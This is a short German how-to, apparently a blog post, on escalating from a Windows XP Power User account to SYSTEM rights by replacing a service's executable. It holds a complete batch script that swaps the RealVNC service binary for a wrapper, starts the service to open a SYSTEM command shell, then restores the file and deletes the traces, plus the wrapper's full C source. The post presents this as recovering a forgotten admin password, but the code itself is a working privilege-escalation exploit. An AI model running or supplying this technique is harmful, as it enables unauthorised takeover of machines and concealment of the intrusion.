Windows XP: Vom Poweruser zum Administrator

Folgende Sitation: Man ist auf einem System mit dem normalen Account in der Gruppe der Poweruser und hat das Admin-Passwort vergessen. Fürs Archiv hier die Anleitung um das Problem zu lösen:

Als Poweruser kann man immerhin Programme installieren und Dienste starten und beenden (zumindest war das bei der damaligen Konfiguration der Fall) . Weiterhin war auf dem Rechner ein Visual Studio installiert, mit dem sich C-Programme übersetzen ließen. Damit sind die Schritte zur Wiedererlangung des Zugriffs die Folgenden:

  • überschreiben der Exe-Datei eines vorhandenen Dienstes mit einem Wrapper-Programm
  • das Wrapper-Programm startet dabei eine Shell
  • da der Dienst mit SYSTEM-Rechten ausgeführt wird, hat auch die Shell SYSTEM-Rechte, man kann also damit Änderungen durchführen, die einem Poweruser nicht erlaubt sind (z.B. ihn zum Administrator machen)

Zunächst das Skript launchSystemConsole.bat, was die Dateien austauscht, den Dienst startet und stoppt und anschließend die Spuren löscht :

set servicename="WinVNC4"
set serviceexe="C:\Program Files\RealVNC\VNC4\WinVNC4.exe"
set startwrapper="c:\temp\startwrapper.exe"

copy %serviceexe% %serviceexe%.sav
copy %startwrapper% %serviceexe%
echo start "SYSTEM console" cmd.exe /T:C0 > c:\temp\filetostart.txt

net start %servicename%
net stop %servicename%

copy %serviceexe%.sav %serviceexe%
del c:\temp\filetostart.txt

startwrapper.exe ist das Kompilat von startwrapper.c :

#include <stdio.h>
#include <stdlib.h>
#define MAX_LINE_LENGTH 255

void usage(const char *fileName)
{
   printf("Usage: startwrapper [executable]\n\n");
   printf("If no executable is given, startwrapper tries to open the file %s,\n",fileName);
   printf("reads the first line and executes it as command\n");
}

int main(int argc, char *argv[])
{
   FILE *f;
   const char *fileName = "C:\\temp\\filetostart.txt";
   char line[MAX_LINE_LENGTH];

   f = fopen(fileName, "r");
   if ( f == NULL)
   {
      usage(fileName);
      printf("\nError: Could not open file %s.\n", fileName);
      return 1;
   }

   fgets(line, MAX_LINE_LENGTH ,f);
   if (ferror(f))
   {
      printf("\nError: Could not read first line of file %s", fileName);
      return 2;
   }

   fclose(f);
   system(line);

   return 0;
}